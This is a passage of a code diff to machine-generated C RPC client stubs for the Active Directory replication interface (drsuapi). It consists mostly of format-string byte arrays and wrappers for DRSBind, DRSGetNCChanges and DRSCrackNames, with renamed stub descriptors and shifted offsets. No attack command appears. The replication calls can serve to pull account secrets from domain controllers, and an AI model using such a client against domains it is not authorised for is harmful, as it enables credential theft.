0x10, 0x00, 0x15, 0x07, 0x48, 0x00, 0x0b, 0x4c, 0x00, 0xe3, 0xfb, 0x08, 0x08, 0x08, 0x40, 0x0b, 0x5c, 0x5b, 0x1a, 0x07, 0x70, 0x00, 0x00, 0x00, 0x10, 0x00, 0x36, 0x08, 0x40, 0x4c, 0x00, 0x37, - 0xfb, 0x08, 0x40, 0x4c, 0x00, 0xdd, 0xff, 0x5b, 0x12, 0x00, 0xc6, 0xfa, 0x21, 0x07, 0x00, 0x00, 0x19, 0x00, 0x94, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x00, 0xd4, 0xff, - 0x5c, 0x5b, 0x1a, 0x07, 0xa8, 0x00, 0x00, 0x00, 0x28, 0x00, 0x4c, 0x00, 0xfc, 0xf9, 0x4c, 0x00, 0xf8, 0xf9, 0x36, 0x4c, 0x00, 0xff, 0xf9, 0x4c, 0x00, 0xfb, 0xf9, 0x36, 0x4c, 0x00, 0x58, 0xfa, - 0x08, 0x08, 0x08, 0x40, 0x36, 0x08, 0x08, 0x08, 0x4c, 0x00, 0x8e, 0xff, 0x36, 0x08, 0x40, 0x5b, 0x12, 0x00, 0x7e, 0xfa, 0x12, 0x00, 0xb2, 0xfa, 0x12, 0x00, 0x9e, 0xfb, 0x12, 0x00, 0xae, 0xff, - 0x11, 0x00, 0x02, 0x00, 0x2b, 0x09, 0x29, 0x00, 0x08, 0x00, 0x01, 0x00, 0x02, 0x00, 0x20, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x24, 0x00, 0xff, 0xff, 0xb7, 0x08, 0x01, 0x00, 0x00, 0x00, - 0x10, 0x27, 0x00, 0x00, 0x21, 0x03, 0x00, 0x00, 0x19, 0x00, 0x14, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x5c, 0x5b, 0x1a, 0x03, 0x20, 0x00, 0x00, 0x00, - 0x0e, 0x00, 0x08, 0x08, 0x08, 0x08, 0x08, 0x4c, 0x00, 0xd1, 0xff, 0x36, 0x5c, 0x5b, 0x12, 0x00, 0xd4, 0xff, 0x11, 0x04, 0x02, 0x00, 0x2b, 0x09, 0x29, 0x54, 0x18, 0x00, 0x01, 0x00, 0x02, 0x00, - 0x08, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x02, 0xfc, 0xff, 0xff, 0x11, 0x00, 0x02, 0x00, 0x2b, 0x09, 0x29, 0x00, 0x08, 0x00, 0x01, 0x00, 0x02, 0x00, 0x10, 0x00, 0x01, 0x00, 0x01, 0x00, - 0x00, 0x00, 0x04, 0x00, 0xff, 0xff, 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, 0x06, 0x00, 0x36, 0x08, 0x40, 0x5b, 0x12, 0x08, 0x25, 0x5c, 0x11, 0x04, 0x02, 0x00, 0x2b, 0x09, 0x29, 0x54, 0x18, 0x00, - 0x01, 0x00, 0x02, 0x00, 0x10, 0x00, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x5a, 0x00, 0x02, 0x00, 0x00, 0x00, 0x26, 0xfc, 0x03, 0x00, 0x00, 0x00, 0xc2, 0x00, 0xff, 0xff, 0xff, 0xff, 0x04, 0x01, - 0xff, 0xff, 0xb7, 0x08, 0x00, 0x00, 0x00, 0x00, 0x10, 0x27, 0x00, 0x00, 0x1a, 0x03, 0x30, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x36, 0x36, 0x36, 0x36, 0x36, 0x08, 0x08, 0x5b, 0x12, 0x08, 0x25, 0x5c, - 0x12, 0x08, 0x25, 0x5c, 0x12, 0x08, 0x25, 0x5c, 0x12, 0x08, 0x25, 0x5c, 0x12, 0x08, 0x25, 0x5c, 0x21, 0x03, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, - 0x4c, 0x00, 0xca, 0xff, 0x5c, 0x5b, 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x4c, 0x00, 0xb2, 0xff, 0x40, 0x36, 0x5c, 0x5b, 0x12, 0x00, 0xd8, 0xff, 0xb7, 0x08, 0x00, 0x00, 0x00, 0x00, - 0x10, 0x27, 0x00, 0x00, 0x1a, 0x03, 0x88, 0x00, 0x00, 0x00, 0x1e, 0x00, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x08, 0x08, 0x08, 0x08, 0x4c, 0x00, 0x8f, 0xf8, 0x4c, 0x00, 0x8b, 0xf8, 0x4c, - 0x00, 0x87, 0xf8, 0x4c, 0x00, 0x83, 0xf8, 0x5b, 0x12, 0x08, 0x25, 0x5c, 0x12, 0x08, 0x25, 0x5c, 0x12, 0x08, 0x25, 0x5c, 0x12, 0x08, 0x25, 0x5c, 0x12, 0x08, 0x25, 0x5c, 0x12, 0x08, 0x25, 0x5c, - 0x12, 0x08, 0x25, 0x5c, 0x21, 0x03, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x00, 0xae, 0xff, 0x5c, 0x5b, 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, - 0x0a, 0x00, 0x4c, 0x00, 0x96, 0xff, 0x40, 0x36, 0x5c, 0x5b, 0x12, 0x00, 0xd8, 0xff, 0xb7, 0x08, 0x00, 0x00, 0x00, 0x00, 0x10, 0x27, 0x00, 0x00, 0x1a, 0x03, 0x20, 0x00, 0x00, 0x00, 0x0a, 0x00, - 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x36, 0x5b, 0x12, 0x08, 0x25, 0x5c, 0x21, 0x03, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x00, 0xda, 0xff, - 0x5c, 0x5b, 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x4c, 0x00, 0xc2, 0xff, 0x40, 0x36, 0x5c, 0x5b, 0x12, 0x00, 0xd8, 0xff, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0xb7, 0x08, 0x00, 0x00, 0x00, 0x00, 0x10, 0x27, 0x00, 0x00, 0x1b, 0x00, 0x01, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0x02, 0x5b, 0x1a, 0x03, 0x10, 0x00, + 0x00, 0x00, 0x0a, 0x00, 0x4c, 0x00, 0xe0, 0xff, 0x40, 0x36, 0x5c, 0x5b, 0x12, 0x00, 0xe2, 0xff, 0x1a, 0x03, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x40, 0x4c, 0x00, 0xe0, 0xff, 0x5c, 0x5b, + 0x21, 0x03, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x00, 0xde, 0xff, 0x5c, 0x5b, 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x4c, 0x00, + 0x9c, 0xff, 0x40, 0x36, 0x5c, 0x5b, 0x12, 0x00, 0xd8, 0xff, 0xb7, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x1d, 0x00, 0x1c, 0x00, 0x02, 0x5b, 0x15, 0x00, 0x1c, 0x00, 0x4c, 0x00, + 0xf4, 0xff, 0x5c, 0x5b, 0x1b, 0x01, 0x02, 0x00, 0x09, 0x57, 0xfc, 0xff, 0x01, 0x00, 0x05, 0x5b, 0x17, 0x03, 0x38, 0x00, 0xf0, 0xff, 0x08, 0x08, 0x4c, 0x00, 0x4e, 0xff, 0x4c, 0x00, 0xdc, 0xff, + 0x08, 0x5b, 0xb7, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x15, 0x07, 0x20, 0x00, 0x4c, 0x00, 0x36, 0xff, 0x0b, 0x0b, 0x5c, 0x5b, 0x1b, 0x07, 0x20, 0x00, 0x09, 0x00, 0xf8, 0xff, + 0x01, 0x00, 0x4c, 0x00, 0xe8, 0xff, 0x5c, 0x5b, 0x1a, 0x07, 0x10, 0x00, 0xec, 0xff, 0x00, 0x00, 0x08, 0x08, 0x4c, 0x00, 0xce, 0xff, 0x08, 0x5b, 0xb7, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x10, 0x00, 0xb7, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x00, 0xb7, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x01, 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x4c, 0x00, + 0xec, 0xff, 0x40, 0x36, 0x5c, 0x5b, 0x12, 0x00, 0x08, 0xff, 0x21, 0x03, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x00, 0xda, 0xff, 0x5c, 0x5b, + 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x4c, 0x00, 0xb8, 0xff, 0x40, 0x36, 0x5c, 0x5b, 0x12, 0x00, 0xd8, 0xff, 0x1a, 0x03, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x40, 0x4c, 0x00, + 0xe0, 0xff, 0x5c, 0x5b, 0x21, 0x03, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x00, 0xde, 0xff, 0x5c, 0x5b, 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, + 0x0a, 0x00, 0x4c, 0x00, 0x74, 0xff, 0x40, 0x36, 0x5c, 0x5b, 0x12, 0x00, 0xd8, 0xff, 0x1a, 0x03, 0x20, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x36, 0x08, 0x40, 0x4c, 0x00, 0xdf, 0xff, 0x5b, 0x12, 0x00, + 0x10, 0xff, 0xb7, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x15, 0x07, 0x28, 0x00, 0x08, 0x40, 0x0b, 0x4c, 0x00, 0x53, 0xfe, 0x0b, 0x5c, 0x5b, 0x1b, 0x07, 0x28, 0x00, 0x09, 0x00, + 0xf8, 0xff, 0x01, 0x00, 0x4c, 0x00, 0xe6, 0xff, 0x5c, 0x5b, 0x1a, 0x07, 0x08, 0x00, 0xec, 0xff, 0x00, 0x00, 0x4c, 0x00, 0xce, 0xff, 0x40, 0x5b, 0x1a, 0x03, 0x40, 0x00, 0x00, 0x00, 0x0c, 0x00, + 0x36, 0x4c, 0x00, 0xab, 0xff, 0x08, 0x40, 0x36, 0x36, 0x5b, 0x12, 0x00, 0xec, 0xff, 0x12, 0x00, 0x18, 0xfe, 0x12, 0x00, 0xd6, 0xff, 0x15, 0x07, 0x30, 0x00, 0x0b, 0x4c, 0x00, 0xaf, 0xff, 0x5b, + 0x1a, 0x07, 0x58, 0x00, 0x00, 0x00, 0x10, 0x00, 0x36, 0x08, 0x40, 0x4c, 0x00, 0x09, 0xff, 0x08, 0x40, 0x4c, 0x00, 0xe3, 0xff, 0x5b, 0x12, 0x00, 0x98, 0xfe, 0x21, 0x07, 0x00, 0x00, 0x19, 0x00, + 0x94, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x00, 0xd4, 0xff, 0x5c, 0x5b, 0x1a, 0x07, 0xa8, 0x00, 0x00, 0x00, 0x28, 0x00, 0x4c, 0x00, 0xce, 0xfd, 0x4c, 0x00, 0xca, 0xfd, + 0x36, 0x4c, 0x00, 0xd1, 0xfd, 0x4c, 0x00, 0xcd, 0xfd, 0x36, 0x4c, 0x00, 0x2a, 0xfe, 0x08, 0x08, 0x08, 0x40, 0x36, 0x08, 0x08, 0x08, 0x4c, 0x00, 0x32, 0xfe, 0x36, 0x08, 0x40, 0x5b, 0x12, 0x00, + 0x50, 0xfe, 0x12, 0x00, 0x84, 0xfe, 0x12, 0x00, 0x70, 0xff, 0x12, 0x00, 0xae, 0xff, 0x1a, 0x03, 0x18, 0x00, 0x00, 0x00, 0x08, 0x00, 0x08, 0x40, 0x36, 0x36, 0x5c, 0x5b, 0x12, 0x08, 0x25, 0x5c, + 0x12, 0x08, 0x25, 0x5c, 0x21, 0x03, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x00, 0xd8, 0xff, 0x5c, 0x5b, 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, + 0x06, 0x00, 0x08, 0x40, 0x36, 0x5b, 0x12, 0x00, 0xdc, 0xff, 0x1a, 0x03, 0x08, 0x00, 0x00, 0x00, 0x04, 0x00, 0x36, 0x5b, 0x12, 0x00, 0xe4, 0xff, 0xb7, 0x08, 0x00, 0x00, 0x00, 0x00, 0x10, 0x27, + 0x00, 0x00, 0x1a, 0x03, 0x88, 0x00, 0x00, 0x00, 0x1e, 0x00, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x08, 0x08, 0x08, 0x4c, 0x00, 0x32, 0xfd, 0x4c, 0x00, 0x2e, 0xfd, 0x4c, 0x00, 0x2a, 0xfd, + 0x4c, 0x00, 0x26, 0xfd, 0x40, 0x5b, 0x12, 0x08, 0x25, 0x5c, 0x12, 0x08, 0x25, 0x5c, 0x12, 0x08, 0x25, 0x5c, 0x12, 0x08, 0x25, 0x5c, 0x12, 0x08, 0x25, 0x5c, 0x12, 0x08, 0x25, 0x5c, 0x12, 0x08, + 0x25, 0x5c, 0x21, 0x03, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x00, 0xae, 0xff, 0x5c, 0x5b, 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, 0x0a, 0x00, + 0x4c, 0x00, 0x96, 0xff, 0x40, 0x36, 0x5c, 0x5b, 0x12, 0x00, 0xd8, 0xff, 0x12, 0x00, 0xda, 0xfc, 0x12, 0x00, 0x18, 0x00, 0xb7, 0x08, 0x01, 0x00, 0x00, 0x00, 0x10, 0x27, 0x00, 0x00, 0x1b, 0x00, + 0x01, 0x00, 0x09, 0x00, 0xfc, 0xff, 0x01, 0x00, 0x02, 0x5b, 0x1a, 0x03, 0x04, 0x00, 0xf0, 0xff, 0x00, 0x00, 0x4c, 0x00, 0xe0, 0xff, 0x5c, 0x5b, 0x11, 0x14, 0xd6, 0xff, 0x11, 0x04, 0x02, 0x00, + 0x30, 0xa0, 0x00, 0x00, 0x11, 0x04, 0x02, 0x00, 0x30, 0xe1, 0x00, 0x00, 0x30, 0x41, 0x00, 0x00, 0x11, 0x00, 0x02, 0x00, 0x2b, 0x09, 0x29, 0x00, 0x08, 0x00, 0x01, 0x00, 0x02, 0x00, 0x80, 0x00, + 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x64, 0x00, 0xff, 0xff, 0x15, 0x07, 0x08, 0x00, 0x0b, 0x5b, 0xb7, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x15, 0x07, 0x18, 0x00, 0x4c, 0x00, + 0x68, 0xfc, 0x0b, 0x5b, 0x1b, 0x07, 0x18, 0x00, 0x09, 0x00, 0xf8, 0xff, 0x01, 0x00, 0x4c, 0x00, 0xea, 0xff, 0x5c, 0x5b, 0x1a, 0x07, 0x10, 0x00, 0xec, 0xff, 0x00, 0x00, 0x08, 0x08, 0x4c, 0x00, + 0xd0, 0xff, 0x08, 0x5b, 0xb7, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x1b, 0x03, 0x04, 0x00, 0x09, 0x00, 0xfc, 0xff, 0x01, 0x00, 0x08, 0x5b, 0x1a, 0x03, 0x0c, 0x00, 0xf0, 0xff, + 0x00, 0x00, 0x08, 0x08, 0x4c, 0x00, 0xde, 0xff, 0x5c, 0x5b, 0x1a, 0x07, 0x80, 0x00, 0x00, 0x00, 0x20, 0x00, 0x4c, 0x00, 0x14, 0xfc, 0x4c, 0x00, 0x10, 0xfc, 0x36, 0x4c, 0x00, 0x17, 0xfc, 0x36, + 0x08, 0x08, 0x08, 0x08, 0x4c, 0x00, 0x84, 0xff, 0x36, 0x36, 0x4c, 0x00, 0x6a, 0xfc, 0x5c, 0x5b, 0x11, 0x00, 0x9e, 0xfc, 0x12, 0x00, 0x9e, 0xff, 0x12, 0x00, 0xc0, 0xff, 0x12, 0x00, 0xbc, 0xff, + 0x11, 0x0c, 0x08, 0x5c, 0x11, 0x00, 0x02, 0x00, 0x2b, 0x09, 0x29, 0x54, 0x18, 0x00, 0x01, 0x00, 0x02, 0x00, 0xa8, 0x00, 0x01, 0x00, 0x06, 0x00, 0x00, 0x00, 0xf6, 0xfd, 0xff, 0xff, 0x11, 0x00, + 0x02, 0x00, 0x2b, 0x09, 0x29, 0x00, 0x08, 0x00, 0x01, 0x00, 0x02, 0x00, 0x28, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x04, 0x00, 0xff, 0xff, 0x1a, 0x03, 0x28, 0x00, 0x00, 0x00, 0x0c, 0x00, + 0x36, 0x36, 0x4c, 0x00, 0xa4, 0xfb, 0x08, 0x40, 0x5c, 0x5b, 0x11, 0x00, 0x44, 0xfc, 0x11, 0x08, 0x22, 0x5c, 0x11, 0x00, 0x02, 0x00, 0x2b, 0x09, 0x29, 0x00, 0x08, 0x00, 0x01, 0x00, 0x02, 0x00, + 0x20, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x24, 0x00, 0xff, 0xff, 0xb7, 0x08, 0x01, 0x00, 0x00, 0x00, 0x10, 0x27, 0x00, 0x00, 0x21, 0x03, 0x00, 0x00, 0x19, 0x00, 0x14, 0x00, 0x01, 0x00, + 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x5c, 0x5b, 0x1a, 0x03, 0x20, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x08, 0x08, 0x08, 0x08, 0x08, 0x4c, 0x00, 0xd1, 0xff, 0x36, 0x5c, 0x5b, + 0x12, 0x00, 0xd4, 0xff, 0x11, 0x04, 0x02, 0x00, 0x2b, 0x09, 0x29, 0x54, 0x18, 0x00, 0x01, 0x00, 0x02, 0x00, 0x08, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0xd0, 0xfd, 0xff, 0xff, 0x11, 0x00, + 0x02, 0x00, 0x2b, 0x09, 0x29, 0x00, 0x08, 0x00, 0x01, 0x00, 0x02, 0x00, 0x10, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x04, 0x00, 0xff, 0xff, 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, 0x06, 0x00, + 0x36, 0x08, 0x40, 0x5b, 0x12, 0x08, 0x25, 0x5c, 0x11, 0x04, 0x02, 0x00, 0x2b, 0x09, 0x29, 0x54, 0x18, 0x00, 0x01, 0x00, 0x02, 0x00, 0x10, 0x00, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00, 0xfa, 0xfd, + 0xff, 0xff, 0x00 }}; #elif defined _M_IX86 -typedef struct _ms2Ddrsr_MIDL_TYPE_FORMAT_STRING { - SHORT Pad; - UCHAR Format[2411]; -} ms2Ddrsr_MIDL_TYPE_FORMAT_STRING; - -typedef struct _ms2Ddrsr_MIDL_PROC_FORMAT_STRING { - SHORT Pad; - UCHAR Format[299]; -} ms2Ddrsr_MIDL_PROC_FORMAT_STRING; - -extern const ms2Ddrsr_MIDL_TYPE_FORMAT_STRING ms2Ddrsr__MIDL_TypeFormatString; -extern const ms2Ddrsr_MIDL_PROC_FORMAT_STRING ms2Ddrsr__MIDL_ProcFormatString; -static const RPC_CLIENT_INTERFACE drsuapi___RpcClientInterface = {sizeof(RPC_CLIENT_INTERFACE), {{0xe3514235, 0x4b06, 0x11d1, {0xab, 0x04, 0x00, 0xc0, 0x4f, 0xc2, 0xdc, 0xd2}}, {4, 0}}, {{0x8a885d04, 0x1ceb, 0x11c9, {0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60}}, {2, 0}}, 0, 0, 0, 0, 0, 0x00000000}; -static RPC_BINDING_HANDLE drsuapi__MIDL_AutoBindHandle; -static const MIDL_STUB_DESC drsuapi_StubDesc = {(void *) &drsuapi___RpcClientInterface, MIDL_user_allocate, MIDL_user_free, &drsuapi__MIDL_AutoBindHandle, 0, 0, 0, 0, ms2Ddrsr__MIDL_TypeFormatString.Format, 1, 0x60000, 0, 0x8000253, 0, 0, 0, 0x1, 0, 0, 0}; -static const MIDL_TYPE_PICKLING_INFO __MIDL_TypePicklingInfo = {0x33205054, 0x3, 0, 0, 0,}; #pragma optimize("", off) ULONG IDL_DRSBind(handle_t rpc_handle, UUID *puuidClientDsa, DRS_EXTENSIONS *pextClient, DRS_EXTENSIONS **ppextServer, DRS_HANDLE *phDrs) { - return NdrClientCall2((PMIDL_STUB_DESC) &drsuapi_StubDesc, (PFORMAT_STRING) &ms2Ddrsr__MIDL_ProcFormatString.Format[0], (unsigned char *) &rpc_handle).Simple; + return NdrClientCall2((PMIDL_STUB_DESC) &drsuapi_c_StubDesc, (PFORMAT_STRING) &ms2Ddrsr__MIDL_ProcFormatString.Format[0], (unsigned char *) &rpc_handle).Simple; } ULONG IDL_DRSUnbind(DRS_HANDLE *phDrs) { - return NdrClientCall2((PMIDL_STUB_DESC) &drsuapi_StubDesc, (PFORMAT_STRING) &ms2Ddrsr__MIDL_ProcFormatString.Format[58], (unsigned char *) &phDrs).Simple; + return NdrClientCall2((PMIDL_STUB_DESC) &drsuapi_c_StubDesc, (PFORMAT_STRING) &ms2Ddrsr__MIDL_ProcFormatString.Format[58], (unsigned char *) &phDrs).Simple; } ULONG IDL_DRSGetNCChanges(DRS_HANDLE hDrs, DWORD dwInVersion, DRS_MSG_GETCHGREQ *pmsgIn, DWORD *pdwOutVersion, DRS_MSG_GETCHGREPLY *pmsgOut) { - return NdrClientCall2((PMIDL_STUB_DESC) &drsuapi_StubDesc, (PFORMAT_STRING) &ms2Ddrsr__MIDL_ProcFormatString.Format[100], (unsigned char *) &hDrs).Simple; + return NdrClientCall2((PMIDL_STUB_DESC) &drsuapi_c_StubDesc, (PFORMAT_STRING) &ms2Ddrsr__MIDL_ProcFormatString.Format[128], (unsigned char *) &hDrs).Simple; } ULONG IDL_DRSCrackNames(DRS_HANDLE hDrs, DWORD dwInVersion, DRS_MSG_CRACKREQ *pmsgIn, DWORD *pdwOutVersion, DRS_MSG_CRACKREPLY *pmsgOut) { - return NdrClientCall2((PMIDL_STUB_DESC) &drsuapi_StubDesc, (PFORMAT_STRING) &ms2Ddrsr__MIDL_ProcFormatString.Format[166], (unsigned char *) &hDrs).Simple; + return NdrClientCall2((PMIDL_STUB_DESC) &drsuapi_c_StubDesc, (PFORMAT_STRING) &ms2Ddrsr__MIDL_ProcFormatString.Format[444], (unsigned char *) &hDrs).Simple; } ULONG IDL_DRSDomainControllerInfo(DRS_HANDLE hDrs, DWORD dwInVersion, DRS_MSG_DCINFOREQ *pmsgIn, DWORD *pdwOutVersion, DRS_MSG_DCINFOREPLY *pmsgOut) { - return NdrClientCall2((PMIDL_STUB_DESC) &drsuapi_StubDesc, (PFORMAT_STRING) &ms2Ddrsr__MIDL_ProcFormatString.Format[232], (unsigned char *) &hDrs).Simple; + return NdrClientCall2((PMIDL_STUB_DESC) &drsuapi_c_StubDesc, (PFORMAT_STRING) &ms2Ddrsr__MIDL_ProcFormatString.Format[594], (unsigned char *) &hDrs).Simple; } #pragma optimize("", on) void DRS_MSG_GETCHGREPLY_V6_Free(handle_t _MidlEsHandle, DRS_MSG_GETCHGREPLY_V6 * _pType) { - NdrMesTypeFree2(_MidlEsHandle, (PMIDL_TYPE_PICKLING_INFO) &__MIDL_TypePicklingInfo, &drsuapi_StubDesc, (PFORMAT_STRING) &ms2Ddrsr__MIDL_TypeFormatString.Format[546], _pType); + NdrMesTypeFree2(_MidlEsHandle, (PMIDL_TYPE_PICKLING_INFO) &__MIDL_TypePicklingInfo, &drsuapi_c_StubDesc, (PFORMAT_STRING) &ms2Ddrsr__MIDL_TypeFormatString.Format[546], _pType); } void DRS_MSG_CRACKREPLY_V1_Free(handle_t _MidlEsHandle, DRS_MSG_CRACKREPLY_V1 * _pType) { - NdrMesTypeFree2(_MidlEsHandle, (PMIDL_TYPE_PICKLING_INFO ) &__MIDL_TypePicklingInfo, &drsuapi_StubDesc, (PFORMAT_STRING) &ms2Ddrsr__MIDL_TypeFormatString.Format[702], _pType); + NdrMesTypeFree2(_MidlEsHandle, (PMIDL_TYPE_PICKLING_INFO ) &__MIDL_TypePicklingInfo, &drsuapi_c_StubDesc, (PFORMAT_STRING) &ms2Ddrsr__MIDL_TypeFormatString.Format[702], _pType); } void DRS_MSG_DCINFOREPLY_V2_Free(handle_t _MidlEsHandle, DRS_MSG_DCINFOREPLY_V2 * _pType) { - NdrMesTypeFree2(_MidlEsHandle, (PMIDL_TYPE_PICKLING_INFO )&__MIDL_TypePicklingInfo, &drsuapi_StubDesc, (PFORMAT_STRING) &ms2Ddrsr__MIDL_TypeFormatString.Format[918], _pType); + NdrMesTypeFree2(_MidlEsHandle, (PMIDL_TYPE_PICKLING_INFO )&__MIDL_TypePicklingInfo, &drsuapi_c_StubDesc, (PFORMAT_STRING) &ms2Ddrsr__MIDL_TypeFormatString.Format[918], _pType); } static const ms2Ddrsr_MIDL_PROC_FORMAT_STRING ms2Ddrsr__MIDL_ProcFormatString = {0, { 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x32, 0x00, 0x00, 0x00, 0x44, 0x00, 0x40, 0x00, 0x47, 0x05, 0x08, 0x07, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x04, 0x00, - 0x60, 0x02, 0x0b, 0x00, 0x08, 0x00, 0x64, 0x02, 0x13, 0x20, 0x0c, 0x00, 0x8c, 0x02, 0x10, 0x01, 0x10, 0x00, 0x94, 0x02, 0x70, 0x00, 0x14, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, - 0x01, 0x00, 0x08, 0x00, 0x30, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x38, 0x00, 0x40, 0x00, 0x44, 0x02, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x01, 0x00, 0x00, 0x9c, 0x02, 0x70, 0x00, - 0x04, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x18, 0x00, 0x30, 0x40, 0x00, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x24, 0x00, 0x47, 0x06, 0x08, 0x07, 0x01, 0x00, 0x01, 0x00, - 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0xa0, 0x02, 0x48, 0x00, 0x04, 0x00, 0x08, 0x00, 0x0b, 0x01, 0x08, 0x00, 0xa8, 0x02, 0x50, 0x21, 0x0c, 0x00, 0x08, 0x00, 0x13, 0x01, 0x10, 0x00, 0x68, 0x04, - 0x70, 0x00, 0x14, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x18, 0x00, 0x30, 0x40, 0x00, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x24, 0x00, 0x47, 0x06, 0x08, 0x07, 0x01, 0x00, - 0x01, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0xa0, 0x02, 0x48, 0x00, 0x04, 0x00, 0x08, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x86, 0x05, 0x50, 0x21, 0x0c, 0x00, 0x08, 0x00, 0x13, 0x21, 0x10, 0x00, - 0xe2, 0x05, 0x70, 0x00, 0x14, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x18, 0x00, 0x30, 0x40, 0x00, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x24, 0x00, 0x47, 0x06, 0x08, 0x07, - 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0xa0, 0x02, 0x48, 0x00, 0x04, 0x00, 0x08, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x6e, 0x06, 0x50, 0x21, 0x0c, 0x00, 0x08, 0x00, 0x13, 0x21, - 0x10, 0x00, 0x9c, 0x06, 0x70, 0x00, 0x14, 0x00, 0x08, 0x00, 0x00, + 0xa8, 0x03, 0x0b, 0x00, 0x08, 0x00, 0xac, 0x03, 0x13, 0x20, 0x0c, 0x00, 0xd4, 0x03, 0x10, 0x01, 0x10, 0x00, 0xdc, 0x03, 0x70, 0x00, 0x14, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, + 0x01, 0x00, 0x08, 0x00, 0x30, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x38, 0x00, 0x40, 0x00, 0x44, 0x02, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x01, 0x00, 0x00, 0xe4, 0x03, 0x70, 0x00, + 